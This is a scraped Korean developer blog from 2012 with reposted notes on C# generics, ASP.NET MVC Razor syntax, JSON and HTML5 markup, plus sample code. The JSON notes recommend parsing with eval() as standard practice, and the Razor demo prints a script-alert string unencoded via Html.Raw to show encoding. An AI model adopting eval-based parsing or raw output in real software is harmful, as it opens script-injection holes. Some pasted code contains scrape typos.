 나는 아쉽지만 이번 승부를 무승부로 볼 수 밖에 없을 것 같다. 개인적으로는 위험하지만 강력한 포인터의 기능을 사용할 수 있는 C#의 승리로 보고 싶지만, 시대와 사회는 그렇지 않다. 사회는 점점 빠른 개발의 프로세스를 원하고, 또 그렇게 시대는 변화하기 때문이다.


 참으로 비교할 경우가 많았는데, 중요한 개념 몇가지만 비교해보았다.

나 자신의 관점에서는 여러가지 면모에서 C#이 좀 앞섰던 것 같다. 아무래도 나는 C언어 군을 어렸을 적부터 다뤄왔기 때문에, 그리고 더 애착이 가기때문에 이런 결정을 하게 되지 않았을까?

 이렇게 나는 어원, IDE, 언어특성 그리고 부록편을 통해 Java와 C#을 비교해보았다.  

이번 “VS”를 통해서 나는 Java와 C#에 대해 다시 한번 생각 하게 되었다.

 정말 비슷하지만 다른 언어라는 걸 알게 되었고, 내가 알고 있는 지식이 한낱 얕은 지식에 불과하구나 라는 걸 깨달았다. 더욱 더 정진해야겠다는 생각을 가지게 되었다!

 그리고 비교하면서 주관적인 내 판단이 많이 들어갔었는데, 가장 최고의 언어는 가려내기 어려운 것 같다. 컴퓨터 언어나 실제 우리가 쓰는 한글이나 영어, 일어와 같은 언어나 무엇 하나 최고의 언어라고 판단하기는 어렵 듯이 말이다.


 결국 내린 판단은 최고의 언어는 자기 자신이 만들어내는 것 같다.

자신에게 가장 편하고 가장 많은 시간을 투자한 언어가 진정 자신이 가장 애용하는 언어가 될 것이라는 말이다. C#이 Java보다 후에 나왔다고 해서, 더 좋은 언어라고 자부할 수 있을까? 그렇다고 Java가 C#보다 더 오래된 경험과 역사를 가지고 있다고 해서 좋은 언어라고 자부할 수 있을까. 정답은 자기 자신 즉, 프로그래머에게 있다.

 "언어의 좋고 나쁨", 이런 건 중요하지 않다. 좋고 나쁜 것은 프로그래머의 창의성과 논리력, 그리고 자기 자신이 사용하는 언어에 얼마나 깊은 통찰력을 가지고 있느냐에 따라 결정된다. 나는 "VS"를 통해 말하고 싶다. 세상에 최고의 언어는 없다. 최고의 언어는 나 자신이 만들어가는 것이라고 ...


'PP > 번외' 카테고리의 다른 글

C# <-> VB.net 코드 변환 사이트  (0) 2012.01.08
코딩에 도움이 되는 사이트들  (0) 2012.01.07
posted by 방랑군 2012. 1. 4. 13:18

출처 : http://kimstar.pe.kr/blog/100?category=18

1) 박싱 & 언박싱
   - 값타입 --박싱--> 참조타입
   - 참조타입 --언박싱--> 값타입
  
  ArrayList al = new ArrayList();
  al.Add(100);                        // ArrayList는 object를 저장함. 따라서 100(값타입)은 참조타입으로 box되어 저장됨
  int val = (int)al[0];               // al[0]를 int(값타입)로 사용하기 위해 unboxing됨

2) 값타입
   - 단순타입 : int, byte, char, float, decimal, bool 등
  - 열거형타입 : enum
  - 구조체타입 : struct
  - nullable 타입 : int?, double? 등

3) 참조타입
  - 클래스 타입 : object, string, class
  - 인터페이스 타입 : interface
  - 배열타입 : Array(int[], int[,] 등)
  - 델리게이트 타입 : delegate

4) Generic
   - boxing, unboxing 에 사용되는 리소스 소비 해결
  - Generic에 사용되는 타입은 일반적으로 T로 명명

  List<int> list = new List<int>();  // int 타입을 제네릭 타입 파라메터로 지정
  list.Add(100);                     // int 데이타만 저장가능
  int val2 = list[0];                // int 타입이기에 형변환 필요없음

5) Generic 제한사항
   - 제네릭 적용 클래스는 ContextBoundObject 클래스로 파생될 수 없음 : 런타임 오류발생
  - 제네릭은 열거형에 사용못함
  - 제네릭은 Reflection을 이용해 생성되는 동적메소드에 사용못함.

6) Generic 제약사항
   - 제네릭이 클래스레벨에서 지정될때 where로 제약을 지정할 수 있음

7) .Net Framework에서 제공하는 Generic
   - Dictionary<TKey, TValue> : Hashtable의 제네릭 버전. Key & Value가 한쌍. Key는 유일
  - List<T> : ArrayList의 제네릭 버전. 배열의 크기를 동적으로 구성
   - SortedList<TKey, TValue> : Dictionary + List. Key & Value가 한쌍. 동적 배열. Key값으로 정렬됨.
  - LinkedList<T> : 새로생김.
  - Queue<T> : Queue의 제네릭 버전
  - Stack<T> : Stack의 제네릭 버전

타입 제네릭 비제네릭 제네릭 네임스페이스
클래스 List<T> ArrayList System.Collections.Generic
Dictonary<TKey, TValue> HashTable
SortedList<TKey, TValue> SortedList
Stack<T> Stack
Queue<T> Queue
LinkedList<T> -
ReadOnlyCollection<T> - System.Collections.ObjectModel
KeyedCollection<TKey, TValue> -
인터페이스 IList<T> IList System.Collections.Generic
IDictonary<TKey, TValue> IDictonary
ICollection<T> ICollection
IEumerator<T> IEumerator
IEumerable<T> IEumerable
IComparer<T> IComparer
IComparable<T> IComparable




001.using System;
002.using System.Collections;
003.using System.Collections.Generic;
004. 
005.namespace GenericTest
006.{
007.class Program
008.{
009.static void Main(string[] args)
010.{
011.// 박싱 & 언박싱------------------
012.// boxing & unboxing 발생함
013.ArrayList al = new ArrayList();
014.al.Add(1);                         // ArrayList는 object를 저장함. 따라서 100(값타입)은 참조타입으로 box되어 저장됨
015.intval = (int)al[0];              // al[0]를 int(값타입)로 사용하기 위해 unboxing됨
016.Console.WriteLine(val);
017. 
018.// boxing & unboxing 발생 안함
019.List<int> list = newList<int>();  // int 타입을 제네릭 타입 파라메터로 지정
020.list.Add(2);                       // int 데이타만 저장가능
021.int val2 = list[0];                // int 타입이기에 형변환 필요없음
022.Console.WriteLine(val2);
023. 
024. 
025.// 제네릭 선언------------------
026.// class를 제네릭으로 선언
027.GenericDeclare1<int> gd = new GenericDeclare1<int>();
028.gd.GenericProperty = 3;
029.Console.WriteLine(gd.GenericProperty);
030. 
031.// method를 제네릭으로 선언
032.GenericDeclare2 gd2 = new GenericDeclare2();
033.Console.WriteLine(gd2.GenericMethod<int>(4));
034. 
035. 
036.// class를 제네릭으로 선언 - where 제약------------------
037.//GC1<int> gc1 = new GC1<int>();  --> 오류발생 : int는 IDispose를 구현한 놈이 아님
038.GC1<TestGC1> gc1 = new GC1<TestGC1>();
039. 
040.//GC2<int, string> gc2 = new GC2<int, string>(); --> 오류발생 : int/string은 class/struct가 아님
041.GC2<TestGC2Class, TestGC2Strunct> gc2 = newGC2<TestGC2Class, TestGC2Strunct>();
042. 
043.//GC3<int> gc3 = new GC3<int>(); --> 오류발생 : int는 어쨓든 아님
044.//GC3<TestGC3_1> gc3 = new GC3<TestGC3_1>();  --> 오류발생 : TestGC3_1 은 IDispose를 구현했지만, 생성자에 파라메터가 있음
045.GC3<TestGC3_2> gc3 = new GC3<TestGC3_2>();
046. 
047.// TODO : 이거 잘 모르겠다.. 나중에 수정하자
048.GC4 gc4 = new GC4();
049.}
050.}
051. 
052. 
053. 
054.#region 테스트용 클래스들
055. 
056.class TestGC1 : IDisposable
057.{
058.public void Dispose()
059.{
060.}
061.}
062. 
063.class TestGC2Class
064.{
065.}
066. 
067.struct TestGC2Strunct
068.{
069.}
070. 
071.class TestGC3_1 : IDisposable
072.{
073.public TestGC3_1(int i)
074.{
075.}
076. 
077.public void Dispose()
078.{
079.}
080.}
081. 
082.class TestGC3_2 : IDisposable
083.{
084.public TestGC3_2()
085.{
086.}
087. 
088.public void Dispose()
089.{
090.}
091.}
092.#endregion
093. 
094. 
095. 
096./// <summary>
097./// class를 제네릭으로 선언
098./// </summary>
099.class GenericDeclare1<T1>
100.{
101.private T1 val;
102. 
103.public T1 GenericProperty
104.{
105.get { return val; }
106.set { this.val = value; }
107.}
108.}
109. 
110.class GenericDeclare2
111.{
112./// <summary>
113./// 메소드를 제네릭으로 선언
114./// </summary>
115.public T2 GenericMethod<T2>(T2 arg)
116.{
117.return arg;
118.}
119.}
120. 
121. 
122. 
123. 
124.#region Class를 제네릭으로 구현시 where로 제약하는 예제
125./// <summary>
126./// T는 IDisposable 인터페이스를 구현해야함
127./// </summary>
128.class GC1<T>
129.where T : IDisposable
130.{
131.}
132. 
133./// <summary>
134./// T는 클래스여야함
135./// U는 구조체여야함
136./// </summary>
137.class GC2<T, U>
138.where T : class
139.where U : struct
140.{
141.}
142. 
143./// <summary>
144./// T는 IComparable을 구현해야하고
145./// 파라메터가 없는 - "new()" - 기본 생성자를 가진 T 이다
146./// </summary>
147.class GC3<T>
148.where T : IDisposable, new()
149.{
150.}
151. 
152./// <summary>
153./// 델리게이트에 파라미터가 없는 - "new()" - 기본생성자를 가진 T
154./// </summary>
155.class GC4
156.{
157.delegate T GenericDelegate<T>(T val) where T : new();
158.//delegate int GenericDelegate2(int val);
159.}
160.#endregion
161.}

posted by 방랑군 2012. 1. 4. 13:08

출처 : http://kimstar.pe.kr/blog/272

개요

  • 발음 : 레이저
  • @으로 표현
  • ASP.NET MVC3에서 사용가능
  • ASP.NET 엔진과 별개로 동작
  • Razor Template + Data = Output

Quick Reference

실습

01.@{
02.Layout = null;
03.}
04. 
05.<!DOCTYPE html>
06. 
07.<html>
08.<head>
09.<title>Index</title>
10.</head>
11.<body>
12.<div>
13.<h1>레이저 구문 학습</h1>
14. 
15.@for (int i = 0; i < 5; i++)
16.{
17.// html과 code를 알아서 판단
18.<div>@i</div>
19.}
20. 
21.@{
22.// 변수를 선언
23.string userName = "kimstar";
24.int age = 12;
25.var js = "<script>alert('테스트')</script>";
26.}           
27. 
28.@*@()로 정확하게..*@
29.<div>저는 @userName 입니다. 제 나이는 @age 입니다.</div>
30. 
31.@*<text>사용하거나 @:를 사용하면 그냥 텍스트로 인식한다. 브라우저에는 표시가 안된다.*@
32.<div>나이 : @if (age % 2 == 0) { <text>짝수</text> } else { <text>홀수</text> } </div>
33. 
34.@if (age % 2 == 0)
35.{
36.@:나이는 @age 이며 짝수입니다.
37.}
38. 
39. 
40.@*이메일을 표시해도 알아서 레이저가 아님을 판단한다.*@
41.<div>이메일 : kimstar@kimstar.pe.kr</div>
42. 
43.@*골뱅이를 표시하고 싶으면 두개*@
44.<div>트위터 : @@byul124</div>
45. 
46.@*userName 뒤에 .을 붙이면 속성과 헷갈린다. @() 사용하여 정확하게 하자. *@
47.<div>
48.<img src="@(userName).jpg" alt="@userName" />
49.</div>
50. 
51.@*그대로 인코딩되어 화면에 표시된다.*@
52.<div>
53.@js
54.</div>
55. 
56.@*인코딩하지 않고 그대로 출력한다.*@
57.<div>
58.@Html.Raw(js)
59.</div>
60. 
61.<div>
62.@DateTime.Now.ToString()
63.</div>
64. 
65.</div>
66.</body>
67.</html>
     


사용자 삽입 이미지

실행결과



슬라이드

View more presentations from Dan Wahlin 

'PP > ASP.NET MVC' 카테고리의 다른 글

지랄 같은 MVC  (0) 2012.01.05
[ASP.NET MVC3] 5. Controller의 기본 (2) 매개 변수 처리  (0) 2012.01.05
posted by 방랑군 2012. 1. 4. 13:06
충처 : http://kimstar.pe.kr/blog/74

1. 개요


1) JSON : JavaScript Object Notation
2) lightweight data 교환 형식.
3) 사람이 읽고 쓰기 쉬움.
4) 기계가 파싱하고 생성하기 쉬움. 
 

2. 일반사항


1) The official Internet media type for JSON : application/json
2) 확장자 : .json
3) Structured dat를 네트워크 상에서 주고 받을때 주로 사용 (주로 Ajax 등에서)
4) subset of Javascript : specifically, Standard ECMA-262 3rd Edition?December 1999
6) json.org : JSON 바인딩에 대한 다양한 자료 제공
7) Yahoo / Google : JSON 지원 

3. 특징


1) JavaScript의 Array 문법으로 데이터 구조를 기술하는 방법으로 XML이 가지는 유연성과 구조적 데이터 표현기능을 확보하면서, XML이 가진 오버헤드를 줄이는 방법으로 사용되고 있다.
2) 클라이언트에서는 JavaScript의 eval()로 객체로 만들어 사용, 별도의 파싱 절차가 필요없음 (클라이언트에서 처리 퍼포먼스 높음)
3) 서버측 JSON 파싱 모듈은 거의 모든 언어별로 지원(Java, C, ActionScript, Delphi, Ruby, Perl, CAMAL등)
4) 클라이언트/서버측 모두 송신은 문자열 조립으로 처리
5) XML이 표현하는 구조적인 정보 모두 표현가능
6) 송수신 데이터로 XML를 사용하는 것에 비해 훨씬 빠르고, 간편하다.
7) language-independent text format, 대부분의 브라우저, 언어에서 지원된다.
8) 주로 XmlHttp 로 script text를 수신하여 다음과 같은 코드로 객체로 build 한다. (예제 : myObject = eval("return " + json_data); )


 

4. 데이타 타입


1) Object
  - 중괄호({})로 시작하고 끝남
  - member : 문자열과 값으로 구성되어 있고 콜론( 으로 구분, 각 멤버들은 콤마(,)로 구분
  - value : 값은 object, string, number, array, true, false, null 사용 가능

사용자 삽입 이미지
사용자 삽입 이미지

2) String
  - 문자열은 쌍따옴표(")로 둘러 쌓여야 함
  - Unicode character 또는 일반적인 escape 문자(\", \\, \/, \b, \f, \n, \r, \t, \u four-hex-digits)를 포함한다.
사용자 삽입 이미지

3) Number
  - integer, real or floating point

사용자 삽입 이미지

4) Array
  - an ordered sequence of values
  - 대괄호([])로 시작하고 끝나며 각 값은 콤마(,)로 구분

사용자 삽입 이미지

5) true
6) false
7) null


 

5. 예제 #1


1) 사람을 나타내는 JSON 예제

(Language : javascript)
  1.   {
  2.     "firstName""John",
  3.     "lastName""Smith",
  4.     "address"{
  5.      "streetAddress""21 2nd Street",
  6.      "city""New York",
  7.      "state""NY",
  8.      "postalCode"10021
  9.     },
  10.     "phoneNumbers"[
  11.      "212 555-1234",
  12.      "646 555-4567"
  13.     ]
  14.   }



2) 설명
  - 성,이름,주소,전화라는 각 object는 Key:Value로 구성
  - 각 Object는 ,로 구분
  - 이름의 Value는 String
  - 주소의 Value는 Object
  - 전화의 Value는 배열


3) 사용법
  - var p = eval('(' + contact + ')');
  - p.firstName, p.address.city, p.phoneNumbers[0]

6. 예제 #2

1) 그림을 나타내는 JSON 예제

(Language : javascript)
  1.   {
  2.   "Image"{
  3.     "Width":800,
  4.     "Height":600,
  5.     "Title":"View from 15th Floor",
  6.     "Thumbnail":{
  7.    "Url":"http:/\/scd.mm-b1.yimg.com\/image\/481989943",
  8.    "Height"125,
  9.    "Width""100"
  10.     },
  11.     "IDs":[ 11694323438793 ]
  12.     }
  13.   }



2) 설명
  - 출처 : rfc4627
  - 예제에서 Image는 최상위 object이고 모든 다른 데이터들은 이 object의 멤버.
  - Width, Height, Title는 숫자와 문자열 데이타를 포함하고 있는 기본적인 멤버.
  - Thumbnail은 Url, Height, Width를 멤버로 포함하고 있는 중첩 object.
  - IDs는 숫자 값을 가지고 있는 array.
  - Url 문자열 값에서 슬래쉬 가 escape 됨에 주의


 

7. 예제 #3


 1) 메뉴를 나타내는 JSON 예제

(Language : javascript)
  1.   {"menu"{
  2.     "id""file",
  3.     "value""File",
  4.     "popup"{
  5.    "menuitem"[
  6.      {"value""New""onclick""CreateNewDoc()"},
  7.      {"value""Open""onclick""OpenDoc()"},
  8.      {"value""Close""onclick""CloseDoc()"}
  9.    ]
  10.     }
  11.   }}


 2) 위와 동일한 XML

(Language : xml)
  1.   <menu id="file" value="File">
  2.     <popup>
  3.    <menuitem value="New" onclick="CreateNewDoc()" />
  4.    <menuitem value="Open" onclick="OpenDoc()" />
  5.    <menuitem value="Close" onclick="CloseDoc()" />
  6.     </popup>
  7.   </menu>



 

8. PHP


1) 5.2버전부터 json_encode 함수 지원
2) 서버에서 JSON 포멧으로 리턴하는 예제

(Language : php)
  1. <?php
  2.   $popups = array();
  3.   $popups[] = 'This is the first popup';
  4.   $popups[] = 'This is the second popup';
  5.   $return['popups'] = $popups;
  6.   $return['result'] = 'success';
  7.   // output correct header
  8.   $isXmlHttpRequest = (isset($_SERVER['HTTP_X_REQUESTED_WITH'])) ?
  9.     (strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') ? true : false:false;
  10.   ($isXmlHttpRequest) ? header('Content-type: application/json') : header('Content-type: text/plain');
  11.   echo json_encode($return);
  12. ?>


3) ob_XXX 함수를 사용하여 JSON 포멧을 리턴하는 예제

(Language : php)
  1. <?php
  2. // start capturing output buffer
  3. ?>
  4.  
  5. <p>An HTML paragraph</p>
  6.  
  7. <?php
  8. // Flush any HTML output
  9. $return['html'] = ob_get_contents();
  10.  
  11. $return['result'] = 'success';
  12.  
  13. header('Content-type: application/json');
  14. echo json_encode($return);
  15. ?>


 


9. C#


1) JSON_checker : http://www.raboof.com/projects/jsonchecker/ 
2) Jayrock : http://jayrock.berlios.de/ 
3) Json.NET - LINQ to JSON : http://james.newtonking.com/projects/json-net.aspx 
4) JSONSharp : http://code.google.com/p/jsonsharp/ 
5) LitJSON : http://litjson.sourceforge.net/ 
6) JSON for .NET : http://sourceforge.net/projects/csjson 
7) JsonFx : http://jsonfx.net/download/ 
8) JsonExSerializer : http://code.google.com/p/jsonexserializer/ 

  - Serialize to String

(Language : csharp)
  1. MyClass myClass = new MyClass();
  2. string result = serializer.Serialize(myClass);


  - Serialize to TextWriter

(Language : csharp)
  1. MyClass myClass = new MyClass();
  2. TextWriter writer = new TextWriter(new FileStream("somefile.jsx", FileMode.Create));
  3. serializer.Serialize(myClass, writer);
  4. writer.Close();


  - Deserialize from String

(Language : csharp)
  1. string result = ... Populate the string with previously serialized content 
  2. MyClass myClass = (MyClass) serializer.Deserialize(result);


  - Deserialize from TextReader

(Language : csharp)
  1. TextReader reader = new TextReader(new FileStream("somefile.jsx", FileMode.Open));
  2. MyClass myClass = (Myclass) serializer.Deserialize(reader);
  3. reader.Close();


  - JsonExSerializer 비교 결과 (내 노트북에서의 시험 결과임. Pentium M 1.6GHz, 1GB RAM)

   -----------------------------------------------------
   Serialization Performance Test
   Serializer Type: BinarySerializer
   File Size      : 19128 bytes
   Iterations     : 2500
   Object Count   : 100
   Total Time     : 10472ms
   Avg Time       : 4.189ms per iteration
   -----------------------------------------------------
   Deserialization Performance Test
   Serializer Type: BinarySerializer
   File Size      : 19128 bytes
   Iterations     : 2500
   Object Count   : 100
   Total Time     : 4456ms
   Avg Time       : 1.782ms per iteration
   -----------------------------------------------------
   Serialization Performance Test
   Serializer Type: XmlSerializer
   File Size      : 31565 bytes
   Iterations     : 2500
   Object Count   : 100
   Total Time     : 9559ms
   Avg Time       : 3.824ms per iteration
   -----------------------------------------------------
   Deserialization Performance Test
   Serializer Type: XmlSerializer
   File Size      : 31565 bytes
   Iterations     : 2500
   Object Count   : 100
   Total Time     : 3981ms
   Avg Time       : 1.592ms per iteration
   -----------------------------------------------------
   Serialization Performance Test
   Serializer Type: JsonExSerializer
   File Size      : 31989 bytes
   Iterations     : 2500
   Object Count   : 100
   Total Time     : 16033ms
   Avg Time       : 6.413ms per iteration
   -----------------------------------------------------
   Deserialization Performance Test
   Serializer Type: JsonExSerializer
   File Size      : 31989 bytes
   Iterations     : 2500
   Object Count   : 100
   Total Time     : 22302ms
   Avg Time       : 8.921ms per iteration
   -----------------------------------------------------


 

9. Javascript


 1) http://www.json.org/json.js  - 최신버전 json.js 다운받기
 2) http://www.json.org/json2.js  - JSON2 릴리즈. (Object.prototype 에 속성을 추가하지 않도록 수정되었음)


10. 출처


 1) http://en.wikipedia.org/wiki/JSON 
 2) http://www.0bin.net/moniwiki/wiki.php/p ··· F03_json 
 3) http://www.json.com 
 4) http://json.org/ 
 5) http://www.ietf.org/rfc/rfc4627.txt?number=4627 
 6) http://2.0business.kr/wiki/wiki.php/JSON 
 7) http://steelleg.tistory.com/169 


11. 첨부




 

'PP > JSON' 카테고리의 다른 글

JSON 의 eval() 함수 사용의 문제  (0) 2012.01.09
JSON Text를 JSON Object로 변환하기  (0) 2012.01.09
Json / JQuery (Ajax)/ Asp.net 3가지를 연동하여 데이터 가져오기  (0) 2012.01.07
DATASET - > JSON  (1) 2012.01.04
JSON.NET  (0) 2012.01.04
posted by 방랑군 2012. 1. 4. 13:03

'PP > HTML5' 카테고리의 다른 글

VIDEO  (0) 2012.01.05
HTML5 가이드  (0) 2012.01.04
posted by 방랑군 2012. 1. 4. 13:02
출처 : http://kimstar.pe.kr/blog/249

개요

새로운 마크업

편리한 Form 속성

  • datetime (달력)
  • range (스크롤바)
  • url(웹사이트 목록)
  • email(메일 주소 유효확인)
  • color (색상표)

API 제공

  • canvas
  • video
  • audio
  • AppCache
  • Key/Value 기반 데이터 저장소 (DOM Storage, IndexedDB)
  • SQL 기반 데이터베이스 (Web Database)
  • Web Stocket
  • 문서간 알림 기능 (Server-sent Event)
  • contenteditable (사용자 경험 증대????)
  • draggable (드래그 앤 드롭)
  • Geolocation
  • ...

마크업

구조와 문법

01.<!doctype html>
02.<html>
03.<head>
04.<meta charset="UTF-8">
05.<title>HTML5 마크업</title>
06.</head>
07.<body>
08.<p>차세대 웹표준으로서 HTML5
09.</body>
10.</html>

문자 인코딩

  • HTTP 헤더에서 선언
  • 유니코드 BOM에서 선언
  • meta 태그 사용
1.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2.<meta charset="UTF-8">

MathML와 SVG

1.<title>SVG in text/html</title>
2.<p>
3.A green circle:
4.<svg> <circle r="50" cx="50" cy="50" fill="green"/> </svg>
5.</p>

문법 검사

구조

01.<article>
02.<hgroup>
03.<h1>Apples</h1>
04.<h2>Tasty, delicious fruit!</h2>
05.</hgroup>
06.<p>The apple is the pomaceous fruit of the apple tree.</p>
07.<section> // ==> 예를 들면 탭의 요소로 사용, 의미가 없는 요소라면 div를 써라
08.<h1>Red Delicious</h1> // ==> 각 section에서 전체 문서와 상관없는 h1 사용
09.<p>These bright red apples are the most common found in many supermarkets.</p>
10.</section>
11.<section>
12.<h1>Granny Smith</h1>
13.<p>These juicy, green apples make a great filling for apple pies.</p>
14.</section>
15.</article>
  • nav : 네비게이션을 위한 섹션
  • article : 독립적인 글 (블로그 글, 뉴스 본문), article 중첩시 안쪽것(블로그 글)은 바깥것(댓글)과 관련 있다.
  • aside : 본문과 관계없는 내용 (광고, 링크)
  • hgroup : 섹션의 제목이 여러단계일때 사용 (Heading Group)
  • header : 소개(목차, 검색창, 로고 등이 배치), 문서구조상 섹션으로 간주안함.
  • footer : 가까운 섹션의 푸터 (저자, 저작권 등 배치), 문서구조상 섹션으로 간주안함.
  • figure : 그래픽/비디오의 캡션을 표시
1.<figure>
2.<video src="ogg"></video>
3.<figcaption>Example</figcaption>
4.</figure>

헤딩과 섹션

  • 헤딩 : h1, h2, h3, h4, h5, h6, hgroup
  • 섹셔닝 루트 (상위/다른 아웃라인과 무관) : blockquote, body, details, fieldset, figure, td
  • 예제 #1
01.<body>
02.<h1>Foo</h1>        // 1. Foo (Grunt 문단을 가지고 있는 body 섹션의 헤딩)
03.<h2>Bar</h2>        // 1-1. Bar (Baz 문단과 blockquote 요소 포함한 섹션의 헤딩)
04.<blockquote>
05.<h3>Bla</h3>
06.</blockquote>
07.<p>Baz</p>
08.<h2>Quux</h2>       // 1-2. Quux (내용이 없고 헤딩만 있는 섹션의 헤딩)
09.<section>           // 1-3. Thud (section 요소로 표시된 섹션의 헤딩)
10.<h3>Thud</h3>
11.</section>
12.<p>Grunt</p>
13.</body>
  • 예제 #2
1.<body>              // body 요소로부터 하나의 섹션이 만들어지고
2.<h1>A</h1>      // 이 섹션은 헤딩 A와 문단B를 갖는다
3.<p>B</p>
4.<h2>C</h2>      // 이 섹션은 다은 두개의 섹션을 포함한다. h2 요소로부터 하나의 섹션이 만들어지고 헤딩 C와 문단 D를 갖는다.
5.<p>D</p>
6.<h2>E</h2>      // 그 다음 h2 요소로부터 하나의 섹션이 또 만들어지고 헤딩 E와 문단 F를 갖는다.
7.<p>F</p>
8.</body>

그 밖의 요소

  • video, audio : 비디오/오디오 콘텐츠, 스크립트로 제어, source요소에 여러개 미디어 사용가능
  • embed : 플러그인 콘텐츠 사용
  • mark : 중요하다고 생각되는 텍스트에 표기
  • progress : 진행상황
  • meter : 분량,수량을 나타냄
  • time : 날짜,시간
  • ruby, rt, rp : 루비 주석 (일본어에서 한문에 음을 달때), < ruby >기준 텍스트 < rt > 또는 < rp >에 루비주석
  • canvas : 동적인 비트맵 이미지 구현시
  • command : 사용자가 수행할 수 있는 명령
  • details : 추가정보, summary를 통해 요약,제목,캡션등을 표시
01.<section class="progress window">
02.<h1>"Really Achieving Your Childhood Dreams" 복사중...</h1>
03.<details>
04.<summary>복사중...
05.<progress max="375505392" value="97543282"></progress> 25%
06.</summary>
07.<dl>
08.<dt>초당 전송량:</dt> <dd>452KB/s</dd>
09.<dt>복사할 파일명:</dt> <dd>/home/rpausch/raycd.m4v</dd>
10.<dt>걸린시간:</dt> <dd>01:16:27</dd>
11.</dl>
12.</details>
13.</section>
  • datalist : option의 묶음을 나타낸다. input의 list, datalist의 id로 서로 연결된다.
  • keygen : 서버로 공개키 보내고, 로컬에 개인키 저장
  • output : 생성된 결과물
  • style, script : "text/css"와 "text/javascript" 같은 type 속성이 생략 가능해짐
01.<style>
02.#myelement {
03.width: 100px;
04.}
05.</style>
06.<script>
07.function myfunction() {
08.return 'Hello world';
09.}
10.</script>
  • input : type속성에 따라 다양한 형식으로 사용됨
    • hidden(감춰짐), text(텍스트), search(검색), tel(전화번호), url(URL), email(이메일), password(비밀번호)
    • datetime(날짜와 시각), date(날짜), month(달), week(주), time(시각), datetimelocal(로컬 날짜와 시각)
    • number(숫자), range(범위), color(색), checkbox(체크박스), radio(라디오 버튼), file(파일), submit(전송)
    • image(이미지), reset(리셋 버튼), button(버튼),

새로운 속성

  • media : a, area의 미디어 속성
  • ping : a, area의 ping 속성(클릭정보 수집 등)
  • hreflang, rel : area의 속성 ???????????????????????
  • target : base에 target 속성 (a에서와 비슷)
  • charset : meta의 charater set속성
  • autofocus : input(hidden일때 빼고) / textarea / button에 문서 로드시 자동 포커스되는 속성
  • placeholder : input/textarea 에 힌트(예:아이디 입력) 속성. 긴 힌트는 title 속성을 사용해야함.
  • form : input/output/select/textarea/button/fieldset 요소에 사용되는 속성. form 밖에 위치할 수 있게함.
  • required : input(hidden/image 제외) / button(submit 제외)의 유효성 검사 속성. 반드시 사용자가 입력해야함.
01.<h1>회원 등록</h1>
02.<form action="/newaccount" method=post>
03.<p>
04.<label for="username">이메일 주소:</label>
05.<input id="username" type=email required name=un>       // 입력 필수요소
06.<p>
07.<label for="password1">비밀번호:</label>
08.<input id="password1" type=password required name=up>   // 입력 필수요소
09.<p>
10.<label for="password2">비밀번호 확인:</label>
11.<input id="password2" type=password onforminput="setCustomValidity(value != password1.value ? '비밀번호가 불일치' : '')">
12.<p>
13.<input type=submit value="계정 생성">
14.</form>
  • disable : fieldset을 비활성화
  • autocomplete, min, max, multiple, pattern, step : input의 속성
  • type, label : menu요소에 지정하여 컨텍스트 메뉴 제작
  • scoped : style 요소에 지정하여 특정부분만 스타일 적용
  • async : style요소에 지정하여 스크립트 로딩/실행 타이밍 조절
  • manifest : html요소에 지정. API에서 캐시정보 사용가능.
  • sizes : link에 아이콘 기본 크기정보 표시
  • reversed : ol에 지정하여 번호순서 변경
  • sandbox, seamless, srcdoc : iframe를 샌드박스로 사용.

글로벌 속성

  • 글로벌 속성(class, dir, id, lang, style, tabindex, title)을 모든 요소에 지정할 수 있음.
  • contenteditable : content를 edit할 수 있다.
  • contextmenu : context menu를 지정할 수 있음.
  • data-* : 저작자가 새로운 속성을 지정
  • draggable : drag & drop API를 사용할 수 있음
  • hidden : 문서상에 존재하지 않도록 함. CSS로 화면에 안보이는것과 다름.
  • role, aria-* : 보조기기에서 접근성 향상
  • spellcheck : 맞춤법 검사.
  • onclick, onfocus.. : HTML4의 on{이벤트이름} 사용가능

변경된 요소

  • a : 버튼처럼 상호작용 요소 없으면 문단/리스트/표/섹션등 포함 가능
01.<aside class="advertising">
02.<h1>광고</h1>
03.<a href="http://naver.com">
04.<section>
05.<h1>HTML5 오픈 컨퍼런스!</h1>
06.<p>차세대 웹 서비스를 위한 새로운 웹 표준!</p>
07.</section>
08.</a>
09.<a href="http://daum.net">
10.<section>
11.<h1>HTML5 가이드 북!</h1>
12.<p>가이드 북을 함께 나눠드립니다.</p>
13.</section>
14.</a>
15.</aside>
  • address : 문서구조에서 특정범위에 적용
  • b : 다르게 나타내야 하는 텍스트 (상품이름, 키워드..)
  • hr : 문단 수준의 나눔을 의미함
  • i : 다른 텍스트와 구분할 텍스트를 표시 (기술용어, 다른표현, 생각..)
  • label : 포커스를 이동하지 않음
  • menu : 툴바/컨텍스트메뉴를 위해 개선됨
  • small : 작게 출력 (추가적 코멘트, 법적 표현 등..)
  • string : 중요함 (강한강조 X)

변경된 속성

  • border : border는 0을 지정해야 함. 대신 CSS를 권장.
  • language : 왠만하면 생략
  • name : a요소의 name속성보다 id속성을 권장
  • summary : table요소의 summary속성은 HTML5의 다른걸로 권장

빠진 요소

  • basefont, big, center, font, s, strike, tt, u : 표현과 관련하여 빠짐
  • frame, frameset, noframes : 컨텐츠 네비게이션할때 영향 미치는 것
  • acronym : 많이 안씀. abbr 사용할것
  • applet : object로 대체
  • isindex : 다른 콘트롤 요소로 대체
  • dir : ul로 대체

빠진 속성

  • HTML5 에서 빠진 놈들

    • version : html 요소
    • name(id 사용 권장) : img 요소
  • 표현과 관련된 놈들 (CSS로 대체해라)

    • align : caption, iframe, img, input, object, legend, table, hr, div, h1, h2, h3, h4, h5, h6, p, col, colgroup, tbody, td, tfoot, th, thead, tr 요소
    • alink, link, text, vlink : body 요소
    • background : body요소
    • bgcolor : body요소
    • border : table, object 요소
    • cellpadding, cellspacing : table 요소
    • frame : table 요소
    • frameborder : iframe 요소
    • height : td, th 요소
    • scrolling : iframe 요소
    • valign : col, colgroup, tbody, td, tfoot, th, thead, tr 요소
    • width : hr, table, td, th, col, colgroup, pre 요소

예제

01.<body>
02.<header>
03.<h1>HTML5 의 세계로!</h1>
04.<nav>
05.<ul>
06.<li><a href="news.html">새소식</a></li>
07.<li><a href="blog.html">블로그</a></li>
08.<li><a href="example.html">예제</a></li>
09.</ul>
10.</nav>
11.</header>
12.<div> <!-- 여러개의 주제라서 div로 묶음. 하나의 주제라면 section이 좋다. -->
13.<article>
14.<header>
15.<h1>HTML5 오픈 컨퍼런스가 열립니다.</h1>
